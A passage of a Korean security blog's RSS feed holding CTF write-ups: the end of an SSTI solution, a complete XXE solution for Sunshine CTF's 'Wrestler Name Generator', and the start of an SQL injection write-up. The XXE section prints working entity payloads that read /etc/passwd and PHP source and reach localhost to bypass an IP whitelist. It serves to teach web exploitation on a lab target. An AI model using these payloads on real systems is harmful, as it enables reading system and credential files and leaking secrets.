  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEjCcr/btqtYumng2j/V7NiefsDkNz7vN52gtUack/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEjCcr/btqtYumng2j/V7NiefsDkNz7vN52gtUack/img.png&quot; data-filename=&quot;10.PNG&quot; style=&quot;width: 66.5962%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEjCcr/btqtYumng2j/V7NiefsDkNz7vN52gtUack/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEjCcr%2FbtqtYumng2j%2FV7NiefsDkNz7vN52gtUack%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r6MFl/btqtYKP1QLc/HSHKnGP1eE2owf3KiHtef0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r6MFl/btqtYKP1QLc/HSHKnGP1eE2owf3KiHtef0/img.png&quot; data-filename=&quot;11.PNG&quot; style=&quot;width: 31.0782%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r6MFl/btqtYKP1QLc/HSHKnGP1eE2owf3KiHtef0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr6MFl%2FbtqtYKP1QLc%2FHSHKnGP1eE2owf3KiHtef0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;template&lt;/b&gt; 인자로 메인페이지에 있었던&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;첫번째 페이지 주소를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;삽입하니 SSTI 가 되는 것을 확인할 수 있었습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2GJws/btqt0ud9Usx/4NFfpco82i2bdgQkHTrTz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2GJws/btqt0ud9Usx/4NFfpco82i2bdgQkHTrTz1/img.png&quot; data-filename=&quot;12.PNG&quot; style=&quot;width: 55.3726%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2GJws/btqt0ud9Usx/4NFfpco82i2bdgQkHTrTz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2GJws%2Fbtqt0ud9Usx%2F4NFfpco82i2bdgQkHTrTz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d5UfZ9/btqtZ9OSciV/1DRnsqPpQebMo47gH7S5g1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d5UfZ9/btqtZ9OSciV/1DRnsqPpQebMo47gH7S5g1/img.png&quot; data-filename=&quot;13.PNG&quot; style=&quot;width: 42.3018%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d5UfZ9/btqtZ9OSciV/1DRnsqPpQebMo47gH7S5g1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd5UfZ9%2FbtqtZ9OSciV%2F1DRnsqPpQebMo47gH7S5g1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이전의 템플릿을 통하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그가 &lt;b&gt;config&lt;/b&gt; 내에 저장되어 있다는 것을 알고 있으니&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;config&lt;/b&gt;를 출력하도록 해 주면 해결됩니다.&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/90</guid>
      <comments>https://posix.tistory.com/90#entry90comment</comments>
      <pubDate>Mon, 1 Apr 2019 10:06:55 +0900</pubDate>
    </item>
    <item>
      <title>Wrestler Name Generator 문제풀이</title>
      <link>https://posix.tistory.com/89</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot; height=&quot;394&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lB84P/btqtYLupKlX/r0U3EQTz37pKuA3TKh6GW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lB84P/btqtYLupKlX/r0U3EQTz37pKuA3TKh6GW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lB84P/btqtYLupKlX/r0U3EQTz37pKuA3TKh6GW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlB84P%2FbtqtYLupKlX%2Fr0U3EQTz37pKuA3TKh6GW0%2Fimg.png&quot; width=&quot;860&quot; height=&quot;394&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Sunshine CTF web 2번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;XXE Injection 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; height=&quot;483&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7wq0L/btqt0Tq1iCP/hZpvKEKpUy1JjktUJ190I1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7wq0L/btqt0Tq1iCP/hZpvKEKpUy1JjktUJ190I1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7wq0L/btqt0Tq1iCP/hZpvKEKpUy1JjktUJ190I1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7wq0L%2Fbtqt0Tq1iCP%2FhZpvKEKpUy1JjktUJ190I1%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; height=&quot;483&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;주소에 접속하면 특이한 서비스 페이지가 주어지는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;성, 이름, 무기를 선택할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD9YB3/btqtXVR0TAH/OWYwk6HQqyiK4YZgRucWI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD9YB3/btqtXVR0TAH/OWYwk6HQqyiK4YZgRucWI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD9YB3/btqtXVR0TAH/OWYwk6HQqyiK4YZgRucWI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD9YB3%2FbtqtXVR0TAH%2FOWYwk6HQqyiK4YZgRucWI0%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;제출하면 재미있게도 중간 이름을 만들어 줍니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YLoFa/btqt0tsybiA/P8ZWJj7WvbZ8FzKhR0JR6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YLoFa/btqt0tsybiA/P8ZWJj7WvbZ8FzKhR0JR6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YLoFa/btqt0tsybiA/P8ZWJj7WvbZ8FzKhR0JR6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYLoFa%2Fbtqt0tsybiA%2FP8ZWJj7WvbZ8FzKhR0JR6k%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;요청은 GET 메소드를 통해 이루어집니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;input 인자 값이 익숙한 형태로 되어 있네요.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:xml&quot;&gt;&lt;code&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;
&amp;lt;input&amp;gt;
&amp;lt;firstName&amp;gt;lee&amp;lt;/firstName&amp;gt;
&amp;lt;lastName&amp;gt;posix&amp;lt;/lastName&amp;gt;
&amp;lt;/input&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;디코딩 하면 위와 같은 xml 형식의 데이터를 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:xml&quot;&gt;&lt;code&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;
&amp;lt;!DOCTYPE foo [
&amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;
]&amp;gt;
&amp;lt;input&amp;gt;
&amp;lt;firstName&amp;gt;&amp;amp;xxe;&amp;lt;/firstName&amp;gt;
&amp;lt;lastName&amp;gt;posix&amp;lt;/lastName&amp;gt;
&amp;lt;/input&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDnHZF/btqt0ukHN3B/EN7JChJHB5X3Z3N4I9tQo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDnHZF/btqt0ukHN3B/EN7JChJHB5X3Z3N4I9tQo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDnHZF/btqt0ukHN3B/EN7JChJHB5X3Z3N4I9tQo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDnHZF%2Fbtqt0ukHN3B%2FEN7JChJHB5X3Z3N4I9tQo1%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Entity를 삽입해보니 /etc/passwd 파일을 정상적으로 참조합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:xml&quot;&gt;&lt;code&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;
&amp;lt;!DOCTYPE foo [
&amp;lt;!ENTITY xxe SYSTEM &quot;php://filter/read=convert.base64-encode/resource=generate.php&quot;&amp;gt;
]&amp;gt;
&amp;lt;input&amp;gt;
&amp;lt;firstName&amp;gt;&amp;amp;xxe;&amp;lt;/firstName&amp;gt;
&amp;lt;lastName&amp;gt;posix&amp;lt;/lastName&amp;gt;
&amp;lt;/input&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MCeLT/btqtZPpi8KS/3Sxcyqt46z45H3ViRN9km1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MCeLT/btqtZPpi8KS/3Sxcyqt46z45H3ViRN9km1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MCeLT/btqtZPpi8KS/3Sxcyqt46z45H3ViRN9km1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMCeLT%2FbtqtZPpi8KS%2F3Sxcyqt46z45H3ViRN9km1%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;php://filter 를 사용하여 현 폴더의&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;generate.php 파일을 base64 변환하여 읽도록 하였습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:php xml&quot;&gt;&lt;code&gt;&amp;lt;?php

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV[&quot;FLAG&quot;];
	return;
}
// make sure the input parameter exists
if (empty($_GET[&quot;input&quot;])) {
	echo &quot;Please include the 'input' get parameter with your request, Brother&quot;;
	return;
}

// get input
$xmlData = base64_decode($_GET[&quot;input&quot;]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die(&quot;Error parsing XML: &quot;.&quot;\n&quot;.$xmlData);
$firstName = $xml-&amp;gt;firstName;
$lastName = $xml-&amp;gt;lastName;
// generate name
$nouns = array(&quot;Killer&quot;, &quot;Savage&quot;, &quot;Stallion&quot;, &quot;Coder&quot;, &quot;Hacker&quot;, &quot;Slasher&quot;, &quot;Crusher&quot;, &quot;Barbarian&quot;, &quot;Ferocious&quot;, &quot;Fierce&quot;, &quot;Vicious&quot;, &quot;Hunter&quot;, &quot;Brute&quot;, &quot;Tactician&quot;, &quot;Expert&quot;);
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' &quot;The '.$noun.'&quot; '.$lastName;

// return html for the results page
echo &amp;lt;&amp;lt;&amp;lt;EOT
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;Wrestler Name Generator&amp;lt;/title&amp;gt;
  &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
  &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&amp;gt;
  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css&quot;&amp;gt;
  &amp;lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
  &amp;lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
  &amp;lt;script src=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;

&amp;lt;div class=&quot;jumbotron text-center&quot;&amp;gt;
  &amp;lt;h1&amp;gt;Your Wrestler Name Is:&amp;lt;/h1&amp;gt;
  &amp;lt;h2&amp;gt;$generatedName&amp;lt;/h2&amp;gt; 
&amp;lt;!--hacker name functionality coming soon!--&amp;gt;
&amp;lt;!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server--&amp;gt;
&amp;lt;!--&amp;lt;h2&amp;gt;Your Hacker Name Is: REDACTED&amp;lt;/h2&amp;gt;--&amp;gt;
  &amp;lt;a href=&quot;/&quot;&amp;gt;Go Back&amp;lt;/a&amp;gt; 
&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
EOT;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;상단에서 요청 주소가 $whitelist에 속한 경우&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;flag를 출력하도록 되어 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:xml&quot;&gt;&lt;code&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;
&amp;lt;!DOCTYPE foo [
&amp;lt;!ENTITY xxe SYSTEM &quot;http://localhost/generate.php&quot;&amp;gt;
]&amp;gt;
&amp;lt;input&amp;gt;
&amp;lt;firstName&amp;gt;&amp;amp;xxe;&amp;lt;/firstName&amp;gt;
&amp;lt;lastName&amp;gt;posix&amp;lt;/lastName&amp;gt;
&amp;lt;/input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BzB13/btqtYnU6eWL/RdKg8PLBdmQRTrqVD30n6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BzB13/btqtYnU6eWL/RdKg8PLBdmQRTrqVD30n6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BzB13/btqtYnU6eWL/RdKg8PLBdmQRTrqVD30n6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBzB13%2FbtqtYnU6eWL%2FRdKg8PLBdmQRTrqVD30n6K%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;xml 내에서 해당 페이지를 참조하도록 요청하는 것으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 얻어올 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/89</guid>
      <comments>https://posix.tistory.com/89#entry89comment</comments>
      <pubDate>Sun, 31 Mar 2019 20:20:49 +0900</pubDate>
    </item>
    <item>
      <title>Wrestler Book 문제풀이</title>
      <link>https://posix.tistory.com/88</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot; height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btaqzg/btqt0udVnFa/mAUaPtqK9XBk7eBPncpoq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btaqzg/btqt0udVnFa/mAUaPtqK9XBk7eBPncpoq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btaqzg/btqt0udVnFa/mAUaPtqK9XBk7eBPncpoq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtaqzg%2Fbtqt0udVnFa%2FmAUaPtqK9XBk7eBPncpoq0%2Fimg.png&quot; width=&quot;860&quot; height=&quot;408&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Sunshine CTF Web 1번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;SQL Injection 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rRe0E/btqt0sNWRm2/LmKzwTcmKXItbXQ85TRynk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rRe0E/btqt0sNWRm2/LmKzwTcmKXItbXQ85TRynk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rRe0E/btqt0sNWRm2/LmKzwTcmKXItbXQ85TRynk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrRe0E%2Fbtqt0sNWRm2%2FLmKzwTcmKXItbXQ85TRynk%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; height=&quot;418&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;링크에 접속하면 로그인 페이지가 주어집니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;적당히 입력하여 제출하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;잘못된 입력이라는 오류가 출력됩니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot; height=&quot;165&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GEkWY/btqt0TYQpoQ/1TmUOX3Np1y0YMX8cEldA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GEkWY/btqt0TYQpoQ/1TmUOX3Np1y0YMX8cEldA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GEkWY/btqt0TYQpoQ/1TmUOX3Np1y0YMX8cEldA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGEkWY%2Fbtqt0TYQpoQ%2F1TmUOX3Np1y0YMX8cEldA0%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot; height=&quot;165&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;싱글 쿼트를 삽입하면 메시지가 출력되는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이를 통해 Sqlite3를 사용하고 있다는 것을 알 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dNCdfI/btqt1X1wUZ1/JseZpygaesYuqkKMMLRVV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dNCdfI/btqt1X1wUZ1/JseZpygaesYuqkKMMLRVV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dNCdfI/btqt1X1wUZ1/JseZpygaesYuqkKMMLRVV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdNCdfI%2Fbtqt1X1wUZ1%2FJseZpygaesYuqkKMMLRVV1%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Iknns/btqtY0EO9fW/ny9I9C0m2yoMgwMOTklBfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Iknns/btqtY0EO9fW/ny9I9C0m2yoMgwMOTklBfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Iknns/btqtY0EO9fW/ny9I9C0m2yoMgwMOTklBfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIknns%2FbtqtY0EO9fW%2Fny9I9C0m2yoMgwMOTklBfK%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 